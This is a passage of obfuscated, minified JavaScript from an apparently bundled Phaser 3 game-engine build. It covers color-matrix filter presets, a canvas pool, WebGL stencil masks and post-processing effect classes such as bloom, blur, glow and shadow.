_0x2a4390[0x2] + _0x4755cc[0x1] * _0x2a4390[0x7] + _0x4755cc[0x2] * _0x2a4390[0xc] + _0x4755cc[0x3] * _0x2a4390[0x11], _0x4755cc[0x0] * _0x2a4390[0x3] + _0x4755cc[0x1] * _0x2a4390[0x8] + _0x4755cc[0x2] * _0x2a4390[0xd] + _0x4755cc[0x3] * _0x2a4390[0x12], _0x4755cc[0x0] * _0x2a4390[0x4] + _0x4755cc[0x1] * _0x2a4390[0x9] + _0x4755cc[0x2] * _0x2a4390[0xe] + _0x4755cc[0x3] * _0x2a4390[0x13] + _0x4755cc[0x4], _0x4755cc[0x5] * _0x2a4390[0x0] + _0x4755cc[0x6] * _0x2a4390[0x5] + _0x4755cc[0x7] * _0x2a4390[0xa] + _0x4755cc[0x8] * _0x2a4390[0xf], _0x4755cc[0x5] * _0x2a4390[0x1] + _0x4755cc[0x6] * _0x2a4390[0x6] + _0x4755cc[0x7] * _0x2a4390[0xb] + _0x4755cc[0x8] * _0x2a4390[0x10], _0x4755cc[0x5] * _0x2a4390[0x2] + _0x4755cc[0x6] * _0x2a4390[0x7] + _0x4755cc[0x7] * _0x2a4390[0xc] + _0x4755cc[0x8] * _0x2a4390[0x11], _0x4755cc[0x5] * _0x2a4390[0x3] + _0x4755cc[0x6] * _0x2a4390[0x8] + _0x4755cc[0x7] * _0x2a4390[0xd] + _0x4755cc[0x8] * _0x2a4390[0x12], _0x4755cc[0x5] * _0x2a4390[0x4] + _0x4755cc[0x6] * _0x2a4390[0x9] + _0x4755cc[0x7] * _0x2a4390[0xe] + _0x4755cc[0x8] * _0x2a4390[0x13] + _0x4755cc[0x9], _0x4755cc[0xa] * _0x2a4390[0x0] + _0x4755cc[0xb] * _0x2a4390[0x5] + _0x4755cc[0xc] * _0x2a4390[0xa] + _0x4755cc[0xd] * _0x2a4390[0xf], _0x4755cc[0xa] * _0x2a4390[0x1] + _0x4755cc[0xb] * _0x2a4390[0x6] + _0x4755cc[0xc] * _0x2a4390[0xb] + _0x4755cc[0xd] * _0x2a4390[0x10], _0x4755cc[0xa] * _0x2a4390[0x2] + _0x4755cc[0xb] * _0x2a4390[0x7] + _0x4755cc[0xc] * _0x2a4390[0xc] + _0x4755cc[0xd] * _0x2a4390[0x11], _0x4755cc[0xa] * _0x2a4390[0x3] + _0x4755cc[0xb] * _0x2a4390[0x8] + _0x4755cc[0xc] * _0x2a4390[0xd] + _0x4755cc[0xd] * _0x2a4390[0x12], _0x4755cc[0xa] * _0x2a4390[0x4] + _0x4755cc[0xb] * _0x2a4390[0x9] + _0x4755cc[0xc] * _0x2a4390[0xe] + _0x4755cc[0xd] * _0x2a4390[0x13] + _0x4755cc[0xe], _0x4755cc[0xf] * _0x2a4390[0x0] + _0x4755cc[0x10] * _0x2a4390[0x5] + _0x4755cc[0x11] * _0x2a4390[0xa] + _0x4755cc[0x12] * _0x2a4390[0xf], _0x4755cc[0xf] * _0x2a4390[0x1] + _0x4755cc[0x10] * _0x2a4390[0x6] + _0x4755cc[0x11] * _0x2a4390[0xb] + _0x4755cc[0x12] * _0x2a4390[0x10], _0x4755cc[0xf] * _0x2a4390[0x2] + _0x4755cc[0x10] * _0x2a4390[0x7] + _0x4755cc[0x11] * _0x2a4390[0xc] + _0x4755cc[0x12] * _0x2a4390[0x11], _0x4755cc[0xf] * _0x2a4390[0x3] + _0x4755cc[0x10] * _0x2a4390[0x8] + _0x4755cc[0x11] * _0x2a4390[0xd] + _0x4755cc[0x12] * _0x2a4390[0x12], _0x4755cc[0xf] * _0x2a4390[0x4] + _0x4755cc[0x10] * _0x2a4390[0x9] + _0x4755cc[0x11] * _0x2a4390[0xe] + _0x4755cc[0x12] * _0x2a4390[0x13] + _0x4755cc[0x13]]), this['_dirty'] = !0x0, this; } }); _0x5ee795['BLACK_WHITE'] = [0.3, 0.6, 0.1, 0x0, 0x0, 0.3, 0.6, 0.1, 0x0, 0x0, 0.3, 0.6, 0.1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x5ee795['NEGATIVE'] = [-0x1, 0x0, 0x0, 0x1, 0x0, 0x0, -0x1, 0x0, 0x1, 0x0, 0x0, 0x0, -0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x5ee795['DESATURATE_LUMINANCE'] = [0.2764723, 0.929708, 0.0938197, 0x0, -37.1, 0.2764723, 0.929708, 0.0938197, 0x0, -37.1, 0.2764723, 0.929708, 0.0938197, 0x0, -37.1, 0x0, 0x0, 0x0, 0x1, 0x0], _0x5ee795['SEPIA'] = [0.393, 0.7689999, 0.18899999, 0x0, 0x0, 0.349, 0.6859999, 0.16799999, 0x0, 0x0, 0.272, 0.5339999, 0.13099999, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x5ee795['LSD'] = [0x2, -0.4, 0.5, 0x0, 0x0, -0.5, 0x2, -0.4, 0x0, 0x0, -0.4, -0.5, 0x3, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x5ee795['BROWN'] = [0.5997023498159715, 0.34553243048391263, -0.2708298674538042, 0x0, 47.43192855600873, -0.037703249837783157, 0.8609577587992641, 0.15059552388459913, 0x0, -36.96841498319127, 0.24113635128153335, -0.07441037908422492, 0.44972182064877153, 0x0, -7.562075277591283, 0x0, 0x0, 0x0, 0x1, 0x0], _0x5ee795['VINTAGE'] = [0.6279345635605994, 0.3202183420819367, -0.03965408211312453, 0x0, 9.651285835294123, 0.02578397704808868, 0.6441188644374771, 0.03259127616149294, 0x0, 7.462829176470591, 0.0466055556782719, -0.0851232987247891, 0.5241648018700465, 0x0, 5.159190588235296, 0x0, 0x0, 0x0, 0x1, 0x0], _0x5ee795['KODACHROME'] = [1.1285582396593525, -0.3967382283601348, -0.03992559172921793, 0x0, 63.72958762196502, -0.16404339962244616, 1.0835251566291304, -0.05498805115633132, 0x0, 24.732407896706203, -0.16786010706155763, -0.5603416277695248, 1.6014850761964943, 0x0, 35.62982807460946, 0x0, 0x0, 0x0, 0x1, 0x0], _0x5ee795['TECHNICOLOR'] = [1.9125277891456083, -0.8545344976951645, -0.09155508482755585, 0x0, 11.793603434377337, -0.3087833385928097, 1.7658908555458428, -0.10601743074722245, 0x0, -70.35205161461398, -0.231103377548616, -0.7501899197440212, 1.847597816108189, 0x0, 30.950940869491138, 0x0, 0x0, 0x0, 0x1, 0x0], _0x5ee795['POLAROID'] = [1.438, -0.062, -0.062, 0x0, 0x0, -0.122, 1.378, -0.122, 0x0, 0x0, -0.016, -0.016, 1.483, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x5ee795['SHIFT_BGR'] = [0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x29a0bf['exports'] = _0x5ee795; }, 0x1f89: (_0x121c07, _0x512566, _0x3b8c10) => { var _0x2e0500, _0x6bfad1, _0x92fc75, _0x3cefd9 = _0x3b8c10(0x24ee), _0x5796c7 = _0x3b8c10(0x866), _0xa493eb = [], _0x3d5dad = !0x1; _0x121c07['exports'] = (_0x92fc75 = function () { var _0x51cdf6 = 0x0; return _0xa493eb['forEach'](function (_0x380309) { _0x380309['parent'] && _0x51cdf6++; }), _0x51cdf6; }, { 'create2D': function (_0x31d38e, _0x584d07, _0x3acc90) { return _0x2e0500(_0x31d38e, _0x584d07, _0x3acc90, _0x3cefd9['CANVAS']); }, 'create': _0x2e0500 = function (_0x4723e2, _0xec28ca, _0x7a47e1, _0x56a296, _0x38aec2) { var _0x1ef8a9; void 0x0 === _0xec28ca && (_0xec28ca = 0x1), void 0x0 === _0x7a47e1 && (_0x7a47e1 = 0x1), void 0x0 === _0x56a296 && (_0x56a296 = _0x3cefd9['CANVAS']), void 0x0 === _0x38aec2 && (_0x38aec2 = !0x1); var _0x368f7b = _0x6bfad1(_0x56a296); return null === _0x368f7b ? (_0x368f7b = { 'parent': _0x4723e2, 'canvas': document['createElement']('canvas'), 'type': _0x56a296 }, _0x56a296 === _0x3cefd9['CANVAS'] && _0xa493eb['push'](_0x368f7b), _0x1ef8a9 = _0x368f7b['canvas']) : (_0x368f7b['parent'] = _0x4723e2, _0x1ef8a9 = _0x368f7b['canvas']), _0x38aec2 && (_0x368f7b['parent'] = _0x1ef8a9), _0x1ef8a9['width'] = _0xec28ca, _0x1ef8a9['height'] = _0x7a47e1, _0x3d5dad && _0x56a296 === _0x3cefd9['CANVAS'] && _0x5796c7['disable'](_0x1ef8a9['getContext']('2d', { 'willReadFrequently': !0x1 })), _0x1ef8a9; }, 'createWebGL': function (_0x2f51fb, _0x21adbf, _0x2cb6d1) { return _0x2e0500(_0x2f51fb, _0x21adbf, _0x2cb6d1, _0x3cefd9['WEBGL']); }, 'disableSmoothing': function () { _0x3d5dad = !0x0; }, 'enableSmoothing': function () { _0x3d5dad = !0x1; }, 'first': _0x6bfad1 = function (_0x54c617) { if (void 0x0 === _0x54c617 && (_0x54c617 = _0x3cefd9['CANVAS']), _0x54c617 === _0x3cefd9['WEBGL']) return null; for (var _0x39f974 = 0x0; _0x39f974 < _0xa493eb['length']; _0x39f974++) { var _0x504c36 = _0xa493eb[_0x39f974]; if (!_0x504c36['parent'] && _0x504c36['type'] === _0x54c617) return _0x504c36; } return null; }, 'free': function () { return _0xa493eb['length'] - _0x92fc75(); }, 'pool': _0xa493eb, 'remove': function (_0x5002fd) { var _0x290ac2 = _0x5002fd instanceof HTMLCanvasElement; _0xa493eb['forEach'](function (_0x19d659) { (_0x290ac2 && _0x19d659['canvas'] === _0x5002fd || !_0x290ac2 && _0x19d659['parent'] === _0x5002fd) && (_0x19d659['parent'] = null, _0x19d659['canvas']['width'] = 0x1, _0x19d659['canvas']['height'] = 0x1); }); }, 'total': _0x92fc75 }); }, 0x866: _0x463edc => { var _0x145bcf, _0x17a95b = ''; _0x463edc['exports'] = { 'disable': function (_0x290455) { return '' === _0x17a95b && (_0x17a95b = _0x145bcf(_0x290455)), _0x17a95b && (_0x290455[_0x17a95b] = !0x1), _0x290455; }, 'enable': function (_0x267a11) { return '' === _0x17a95b && (_0x17a95b = _0x145bcf(_0x267a11)), _0x17a95b && (_0x267a11[_0x17a95b] = !0x0), _0x267a11; }, 'getPrefix': _0x145bcf = function (_0x401d34) { for (var _0x440ce3 = ['i', 'webkitI', 'msI', 'mozI', 'oI'], _0x33c559 = 0x0; _0x33c559 < _0x440ce3['length']; _0x33c559++) { var _0x522339 = _0x440ce3[_0x33c559] + 'mageSmoothingEnabled'; if (_0x522339 in _0x401d34) return _0x522339; } return null; }, 'isEnabled': function (_0x40e1a2) { return null !== _0x17a95b ? _0x40e1a2[_0x17a95b] : null; } }; }, 0x1d4b: (_0x4c7ed7, _0x257ffd, _0x38694b) => { var _0x5559a5 = _0x38694b(0x1d31), _0x49721f = _0x38694b(0xe41), _0x53c635 = new _0x5559a5({ 'initialize': function (_0x7c6bf0, _0x94033d, _0x27bc46, _0x198f1a, _0x192119, _0x19f827) { _0x94033d || (_0x94033d = _0x7c6bf0['sys']['make']['image']({ 'x': _0x27bc46, 'y': _0x198f1a, 'key': _0x192119, 'frame': _0x19f827, 'add': !0x1 })), this['bitmapMask'] = _0x94033d, this['invertAlpha'] = !0x1, this['isStencil'] = !0x1; }, 'setBitmap': function (_0x1b69d1) { this['bitmapMask'] = _0x1b69d1; }, 'preRenderWebGL': function (_0x469ea6, _0x259976, _0x2764c3) { _0x469ea6['pipelines']['BITMAPMASK_PIPELINE']['beginMask'](this, _0x259976, _0x2764c3); }, 'postRenderWebGL': function (_0x2473eb, _0x2218ae, _0x3284a1) { _0x2473eb['pipelines']['BITMAPMASK_PIPELINE']['endMask'](this, _0x2218ae, _0x3284a1); }, 'preRenderCanvas': function () { }, 'postRenderCanvas': function () { }, 'destroy': function () { this['bitmapMask'] = null; } }); _0x49721f['register']('bitmapMask', function (_0x7e482d, _0x5d3d45, _0x18f848, _0x9f41b5, _0x2687cf) { return new _0x53c635(this['scene'], _0x7e482d, _0x5d3d45, _0x18f848, _0x9f41b5, _0x2687cf); }), _0x4c7ed7['exports'] = _0x53c635; }, 0x1a46: (_0x2a0270, _0x6e538f, _0x30ba40) => { var _0x1865b4 = new (_0x30ba40(0x1d31))({ 'initialize': function (_0xb52f0b, _0x13f714) { this['geometryMask'] = _0x13f714, this['invertAlpha'] = !0x1, this['isStencil'] = !0x0, this['level'] = 0x0; }, 'setShape': function (_0x593e39) { return this['geometryMask'] = _0x593e39, this; }, 'setInvertAlpha': function (_0x5e03f1) { return void 0x0 === _0x5e03f1 && (_0x5e03f1 = !0x0), this['invertAlpha'] = _0x5e03f1, this; }, 'preRenderWebGL': function (_0x1db004, _0x50d698, _0x147dfa) { var _0x52e4fe = _0x1db004['gl']; _0x1db004['flush'](), 0x0 === _0x1db004['maskStack']['length'] && (_0x52e4fe['enable'](_0x52e4fe['STENCIL_TEST']), _0x52e4fe['clear'](_0x52e4fe['STENCIL_BUFFER_BIT']), _0x1db004['maskCount'] = 0x0), _0x1db004['currentCameraMask']['mask'] !== this && (_0x1db004['currentMask']['mask'] = this), _0x1db004['maskStack']['push']({ 'mask': this, 'camera': _0x147dfa }), this['applyStencil'](_0x1db004, _0x147dfa, !0x0), _0x1db004['maskCount']++; }, 'applyStencil': function (_0x18929b, _0x3af356, _0xddaa28) { var _0x212faa = _0x18929b['gl'], _0x4af085 = this['geometryMask'], _0x444b37 = _0x18929b['maskCount'], _0x672a15 = 0xff; _0x212faa['colorMask'](!0x1, !0x1, !0x1, !0x1), _0xddaa28 ? (_0x212faa['stencilFunc'](_0x212faa['EQUAL'], _0x444b37, _0x672a15), _0x212faa['stencilOp'](_0x212faa['KEEP'], _0x212faa['KEEP'], _0x212faa['INCR']), _0x444b37++) : (_0x212faa['stencilFunc'](_0x212faa['EQUAL'], _0x444b37 + 0x1, _0x672a15), _0x212faa['stencilOp'](_0x212faa['KEEP'], _0x212faa['KEEP'], _0x212faa['DECR'])), this['level'] = _0x444b37, _0x4af085['renderWebGL'](_0x18929b, _0x4af085, _0x3af356), _0x18929b['flush'](), _0x212faa['colorMask'](!0x0, !0x0, !0x0, !0x0), _0x212faa['stencilOp'](_0x212faa['KEEP'], _0x212faa['KEEP'], _0x212faa['KEEP']), this['invertAlpha'] ? _0x212faa['stencilFunc'](_0x212faa['NOTEQUAL'], _0x444b37, _0x672a15) : _0x212faa['stencilFunc'](_0x212faa['EQUAL'], _0x444b37, _0x672a15); }, 'postRenderWebGL': function (_0x32b47a) { var _0x48ef74 = _0x32b47a['gl']; _0x32b47a['maskStack']['pop'](), _0x32b47a['maskCount']--, _0x32b47a['flush'](); var _0x372640 = _0x32b47a['currentMask']; if (0x0 === _0x32b47a['maskStack']['length']) _0x372640['mask'] = null, _0x48ef74['disable'](_0x48ef74['STENCIL_TEST']); else { var _0x3300c0 = _0x32b47a['maskStack'][_0x32b47a['maskStack']['length'] - 0x1]; _0x3300c0['mask']['applyStencil'](_0x32b47a, _0x3300c0['camera'], !0x1), _0x32b47a['currentCameraMask']['mask'] !== _0x3300c0['mask'] ? (_0x372640['mask'] = _0x3300c0['mask'], _0x372640['camera'] = _0x3300c0['camera']) : _0x372640['mask'] = null; } }, 'preRenderCanvas': function (_0x2aba67, _0xefbf5d, _0x440fca) { var _0x4a4230 = this['geometryMask']; _0x2aba67['currentContext']['save'](), _0x4a4230['renderCanvas'](_0x2aba67, _0x4a4230, _0x440fca, null, null, !0x0), _0x2aba67['currentContext']['clip'](); }, 'postRenderCanvas': function (_0x1bf8a2) { _0x1bf8a2['currentContext']['restore'](); }, 'destroy': function () { this['geometryMask'] = null; } }); _0x2a0270['exports'] = _0x1865b4; }, 0x1cac: (_0x54d872, _0x5716c4, _0x804047) => { var _0x3772da = _0x804047(0x1d31), _0x1cbd5e = _0x804047(0x17f0), _0x3df707 = _0x804047(0x623), _0x4aa942 = new _0x3772da({ 'Extends': _0x1cbd5e, 'initialize': function (_0x560064, _0x52a9be) { void 0x0 === _0x52a9be && (_0x52a9be = 0x1), _0x1cbd5e['call'](this, _0x3df707['BARREL'], _0x560064), this['amount'] = _0x52a9be; } }); _0x54d872['exports'] = _0x4aa942; }, 0x1432: (_0xc5c929, _0x56555b, _0x890645) => { var _0x9ec390 = _0x890645(0x1d31), _0x590083 = _0x890645(0x17f0), _0x584725 = _0x890645(0x623), _0x242373 = new _0x9ec390({ 'Extends': _0x590083, 'initialize': function (_0x3ee914, _0xa5470, _0x3f2f2e, _0x36e6b5, _0x422768, _0xfdcdbb, _0x4f5539) { void 0x0 === _0x3f2f2e && (_0x3f2f2e = 0x1), void 0x0 === _0x36e6b5 && (_0x36e6b5 = 0x1), void 0x0 === _0x422768 && (_0x422768 = 0x1), void 0x0 === _0xfdcdbb && (_0xfdcdbb = 0x1), void 0x0 === _0x4f5539 && (_0x4f5539 = 0x4), _0x590083['call'](this, _0x584725['BLOOM'], _0x3ee914), this['steps'] = _0x4f5539, this['offsetX'] = _0x3f2f2e, this['offsetY'] = _0x36e6b5, this['blurStrength'] = _0x422768, this['strength'] = _0xfdcdbb, this['glcolor'] = [0x1, 0x1, 0x1], null != _0xa5470 && (this['color'] = _0xa5470); }, 'color': { 'get': function () { var _0x17c54f = this['glcolor']; return (0xff * _0x17c54f[0x0] << 0x10) + (0xff * _0x17c54f[0x1] << 0x8) + (0xff * _0x17c54f[0x2] | 0x0); }, 'set': function (_0x192730) { var _0x5f0f72 = this['glcolor']; _0x5f0f72[0x0] = (_0x192730 >> 0x10 & 0xff) / 0xff, _0x5f0f72[0x1] = (_0x192730 >> 0x8 & 0xff) / 0xff, _0x5f0f72[0x2] = (0xff & _0x192730) / 0xff; } } }); _0xc5c929['exports'] = _0x242373; }, 0x1067: (_0x587e8e, _0x379291, _0x4093fb) => { var _0x3d1068 = _0x4093fb(0x1d31), _0x13203b = _0x4093fb(0x17f0), _0x457884 = _0x4093fb(0x623), _0x28fc9c = new _0x3d1068({ 'Extends': _0x13203b, 'initialize': function (_0x133d14, _0x1cd3ca, _0x3ab3e0, _0x5e54c5, _0x4ae778, _0x46e703, _0x3be42a) { void 0x0 === _0x1cd3ca && (_0x1cd3ca = 0x0), void 0x0 === _0x3ab3e0 && (_0x3ab3e0 = 0x2), void 0x0 === _0x5e54c5 && (_0x5e54c5 = 0x2), void 0x0 === _0x4ae778 && (_0x4ae778 = 0x1), void 0x0 === _0x3be42a && (_0x3be42a = 0x4), _0x13203b['call'](this, _0x457884['BLUR'], _0x133d14), this['quality'] = _0x1cd3ca, this['x'] = _0x3ab3e0, this['y'] = _0x5e54c5, this['steps'] = _0x3be42a, this['strength'] = _0x4ae778, this['glcolor'] = [0x1, 0x1, 0x1], null != _0x46e703 && (this['color'] = _0x46e703); }, 'color': { 'get': function () { var _0x5bc9a4 = this['glcolor']; return (0xff * _0x5bc9a4[0x0] << 0x10) + (0xff * _0x5bc9a4[0x1] << 0x8) + (0xff * _0x5bc9a4[0x2] | 0x0); }, 'set': function (_0x5b8898) { var _0x471c3f = this['glcolor']; _0x471c3f[0x0] = (_0x5b8898 >> 0x10 & 0xff) / 0xff, _0x471c3f[0x1] = (_0x5b8898 >> 0x8 & 0xff) / 0xff, _0x471c3f[0x2] = (0xff & _0x5b8898) / 0xff; } } }); _0x587e8e['exports'] = _0x28fc9c; }, 0xc3c: (_0x361167, _0x531280, _0x2bfda7) => { var _0x46734a = _0x2bfda7(0x1d31), _0x4c342e = _0x2bfda7(0x17f0), _0x11f34b = _0x2bfda7(0x623), _0x3bb79b = new _0x46734a({ 'Extends': _0x4c342e, 'initialize': function (_0x4f35f1, _0x5b24a4, _0x576af5, _0x5af085, _0x2ef236, _0x22f8dc, _0x3434d1, _0x31ec29) { void 0x0 === _0x5b24a4 && (_0x5b24a4 = 0.5), void 0x0 === _0x576af5 && (_0x576af5 = 0x1), void 0x0 === _0x5af085 && (_0x5af085 = 0.2), void 0x0 === _0x2ef236 && (_0x2ef236 = !0x1), void 0x0 === _0x22f8dc && (_0x22f8dc = 0x1), void 0x0 === _0x3434d1 && (_0x3434d1 = 0x1), void 0x0 === _0x31ec29 && (_0x31ec29 = 0x1), _0x4c342e['call'](this, _0x11f34b['BOKEH'], _0x4f35f1), this['radius'] = _0x5b24a4, this['amount'] = _0x576af5, this['contrast'] = _0x5af085, this['isTiltShift'] = _0x2ef236, this['strength'] = _0x31ec29, this['blurX'] = _0x22f8dc, this['blurY'] = _0x3434d1; } }); _0x361167['exports'] = _0x3bb79b; }, 0x19d2: (_0x6ae05, _0x5c9459, _0x140e14) => { var _0x55059f = _0x140e14(0x1d31), _0x3424a0 = _0x140e14(0x17f0), _0x21ba99 = _0x140e14(0x623), _0x55e9a7 = new _0x55059f({ 'Extends': _0x3424a0, 'initialize': function (_0x1696f9, _0xb27f8c, _0x14b948, _0x4d7920, _0x40e6da, _0x531b31) { void 0x0 === _0xb27f8c && (_0xb27f8c = 0x8), void 0x0 === _0x40e6da && (_0x40e6da = 0x1), void 0x0 === _0x531b31 && (_0x531b31 = 0.005), _0x3424a0['call'](this, _0x21ba99['CIRCLE'], _0x1696f9), this['scale'] = _0x40e6da, this['feather'] = _0x531b31, this['thickness'] = _0xb27f8c, this['glcolor'] = [0x1, 0.2, 0.7], this['glcolor2'] = [0x1, 0x0, 0x0, 0.4], null != _0x14b948 && (this['color'] = _0x14b948), null != _0x4d7920 && (this['backgroundColor'] = _0x4d7920); }, 'color': { 'get': function () { var _0x4530b9 = this['glcolor']; return (0xff * _0x4530b9[0x0] << 0x10) + (0xff * _0x4530b9[0x1] << 0x8) + (0xff * _0x4530b9[0x2] | 0x0); }, 'set': function (_0x2684f) { var _0x474387 = this['glcolor']; _0x474387[0x0] = (_0x2684f >> 0x10 & 0xff) / 0xff, _0x474387[0x1] = (_0x2684f >> 0x8 & 0xff) / 0xff, _0x474387[0x2] = (0xff & _0x2684f) / 0xff; } }, 'backgroundColor': { 'get': function () { var _0x45fea4 = this['glcolor2']; return (0xff * _0x45fea4[0x0] << 0x10) + (0xff * _0x45fea4[0x1] << 0x8) + (0xff * _0x45fea4[0x2] | 0x0); }, 'set': function (_0x2df743) { var _0xb51be7 = this['glcolor2']; _0xb51be7[0x0] = (_0x2df743 >> 0x10 & 0xff) / 0xff, _0xb51be7[0x1] = (_0x2df743 >> 0x8 & 0xff) / 0xff, _0xb51be7[0x2] = (0xff & _0x2df743) / 0xff; } }, 'backgroundAlpha': { 'get': function () { return this['glcolor2'][0x3]; }, 'set': function (_0xa576ed) { this['glcolor2'][0x3] = _0xa576ed; } } }); _0x6ae05['exports'] = _0x55e9a7; }, 0x1343: (_0x1b669f, _0x32b262, _0x2313eb) => { var _0x5f399c = _0x2313eb(0x1d31), _0x454054 = _0x2313eb(0x1636), _0x31a5ec = _0x2313eb(0x623), _0x2be183 = new _0x5f399c({ 'Extends': _0x454054, 'initialize': function (_0x349589) { _0x454054['call'](this), this['type'] = _0x31a5ec['COLOR_MATRIX'], this['gameObject'] = _0x349589, this['active'] = !0x0; }, 'destroy': function () { this['gameObject'] = null, this['_matrix'] = null, this['_data'] = null; } }); _0x1b669f['exports'] = _0x2be183; }, 0x17f0: (_0x3c3124, _0x1b9307, _0x846dc9) => { var _0x20013c = new (_0x846dc9(0x1d31))({ 'initialize': function (_0x4e593e, _0x4dc739) { this['type'] = _0x4e593e, this['gameObject'] = _0x4dc739, this['active'] = !0x0; }, 'setActive': function (_0x2f9bed) { return this['active'] = _0x2f9bed, this; }, 'destroy': function () { this['gameObject'] = null, this['active'] = !0x1; } }); _0x3c3124['exports'] = _0x20013c; }, 0x23eb: (_0x12b941, _0x333ad4, _0x2ec78a) => { var _0x350d5b = _0x2ec78a(0x1d31), _0x495079 = _0x2ec78a(0x17f0), _0x40c3a1 = _0x2ec78a(0x623), _0x7397cc = new _0x350d5b({ 'Extends': _0x495079, 'initialize': function (_0x2c2460, _0xd30ea1, _0xa40f29, _0x57982b) { void 0x0 === _0xd30ea1 && (_0xd30ea1 = '__WHITE'), void 0x0 === _0xa40f29 && (_0xa40f29 = 0.005), void 0x0 === _0x57982b && (_0x57982b = 0.005), _0x495079['call'](this, _0x40c3a1['DISPLACEMENT'], _0x2c2460), this['x'] = _0xa40f29, this['y'] = _0x57982b, this['glTexture'], this['setTexture'](_0xd30ea1); }, 'setTexture': function (_0x35ffa2) { var _0xf1a2ae = this['gameObject']['scene']['sys']['textures']['getFrame'](_0x35ffa2); return _0xf1a2ae && (this['glTexture'] = _0xf1a2ae['glTexture']), this; } }); _0x12b941['exports'] = _0x7397cc; }, 0x1bd: (_0x30dcb0, _0x192927, _0x460f4b) => { var _0x5521ec = _0x460f4b(0x1d31), _0x36dc6c = _0x460f4b(0x17f0), _0x1fa614 = _0x460f4b(0x623), _0x5d2d98 = new _0x5521ec({ 'Extends': _0x36dc6c, 'initialize': function (_0x28a4d1, _0x3ad044, _0x2ae3e2, _0x1a7a70, _0x5af177) { void 0x0 === _0x2ae3e2 && (_0x2ae3e2 = 0x4), void 0x0 === _0x1a7a70 && (_0x1a7a70 = 0x0), void 0x0 === _0x5af177 && (_0x5af177 = !0x1), _0x36dc6c['call'](this, _0x1fa614['GLOW'], _0x28a4d1), this['outerStrength'] = _0x2ae3e2, this['innerStrength'] = _0x1a7a70, this['knockout'] = _0x5af177, this['glcolor'] = [0x1, 0x1, 0x1, 0x1], void 0x0 !== _0x3ad044 && (this['color'] = _0x3ad044); }, 'color': { 'get': function () { var _0x43df32 = this['glcolor']; return (0xff * _0x43df32[0x0] << 0x10) + (0xff * _0x43df32[0x1] << 0x8) + (0xff * _0x43df32[0x2] | 0x0); }, 'set': function (_0x3b1b62) { var _0x32abe5 = this['glcolor']; _0x32abe5[0x0] = (_0x3b1b62 >> 0x10 & 0xff) / 0xff, _0x32abe5[0x1] = (_0x3b1b62 >> 0x8 & 0xff) / 0xff, _0x32abe5[0x2] = (0xff & _0x3b1b62) / 0xff; } } }); _0x30dcb0['exports'] = _0x5d2d98; }, 0x1e2c: (_0x461e39, _0x32695d, _0x359f77) => { var _0x16a2f7 = _0x359f77(0x1d31), _0x28afb9 = _0x359f77(0x17f0), _0x613a8b = _0x359f77(0x623), _0x1da90d = new _0x16a2f7({ 'Extends': _0x28afb9, 'initialize': function (_0x391427, _0xdbede8, _0x28ef52, _0x32112d, _0x435535, _0x42777d, _0x3016bf, _0x4bed03, _0x2a3d0) { void 0x0 === _0x32112d && (_0x32112d = 0.2), void 0x0 === _0x435535 && (_0x435535 = 0x0), void 0x0 === _0x42777d && (_0x42777d = 0x0), void 0x0 === _0x3016bf && (_0x3016bf = 0x0), void 0x0 === _0x4bed03 && (_0x4bed03 = 0x1), void 0x0 === _0x2a3d0 && (_0x2a3d0 = 0x0), _0x28afb9['call'](this, _0x613a8b['GRADIENT'], _0x391427), this['alpha'] = _0x32112d, this['size'] = _0x2a3d0, this['fromX'] = _0x435535, this['fromY'] = _0x42777d, this['toX'] = _0x3016bf, this['toY'] = _0x4bed03, this['glcolor1'] = [0xff, 0x0, 0x0], this['glcolor2'] = [0x0, 0xff, 0x0], null != _0xdbede8 && (this['color1'] = _0xdbede8), null != _0x28ef52 && (this['color2'] = _0x28ef52); }, 'color1': { 'get': function () { var _0x11366a = this['glcolor1']; return (_0x11366a[0x0] << 0x10) + (_0x11366a[0x1] << 0x8) + (0x0 | _0x11366a[0x2]); }, 'set': function (_0x2ed5e5) { var _0x7e2781 = this['glcolor1']; _0x7e2781[0x0] = _0x2ed5e5 >> 0x10 & 0xff, _0x7e2781[0x1] = _0x2ed5e5 >> 0x8 & 0xff, _0x7e2781[0x2] = 0xff & _0x2ed5e5; } }, 'color2': { 'get': function () { var _0x4a3e29 = this['glcolor2']; return (_0x4a3e29[0x0] << 0x10) + (_0x4a3e29[0x1] << 0x8) + (0x0 | _0x4a3e29[0x2]); }, 'set': function (_0x117792) { var _0x5bb8eb = this['glcolor2']; _0x5bb8eb[0x0] = _0x117792 >> 0x10 & 0xff, _0x5bb8eb[0x1] = _0x117792 >> 0x8 & 0xff, _0x5bb8eb[0x2] = 0xff & _0x117792; } } }); _0x461e39['exports'] = _0x1da90d; }, 0x113c: (_0x58ff45, _0x1f1a8c, _0x4faaee) => { var _0x5364c5 = _0x4faaee(0x1d31), _0x56cfb9 = _0x4faaee(0x17f0), _0x1635d0 = _0x4faaee(0x623), _0x1e9334 = new _0x5364c5({ 'Extends': _0x56cfb9, 'initialize': function (_0xceb10d, _0x522b45) { void 0x0 === _0x522b45 && (_0x522b45 = 0x1), _0x56cfb9['call'](this, _0x1635d0['PIXELATE'], _0xceb10d), this['amount'] = _0x522b45; } }); _0x58ff45['exports'] = _0x1e9334; }, 0x4b: (_0x4f03d7, _0x5080cf, _0xa8e52) => { var _0x3c3919 = _0xa8e52(0x1d31), _0x1beaf9 = _0xa8e52(0x17f0), _0x33269b = _0xa8e52(0x623), _0x7253ed = new _0x3c3919({ 'Extends': _0x1beaf9, 'initialize': function (_0xfe937f, _0x4afc25, _0x2a952a, _0x5bb3ed, _0x2a426a, _0x30b94f, _0x3324ba, _0x1a9224) { void 0x0 === _0x4afc25 && (_0x4afc25 = 0x0), void 0x0 === _0x2a952a && (_0x2a952a = 0x0), void 0x0 === _0x5bb3ed && (_0x5bb3ed = 0.1), void 0x0 === _0x2a426a && (_0x2a426a = 0x1), void 0x0 === _0x3324ba && (_0x3324ba = 0x6), void 0x0 === _0x1a9224 && (_0x1a9224 = 0x1), _0x1beaf9['call'](this, _0x33269b['SHADOW'], _0xfe937f), this['x'] = _0x4afc25, this['y'] = _0x2a952a, this['decay'] = _0x5bb3ed, this['power'] = 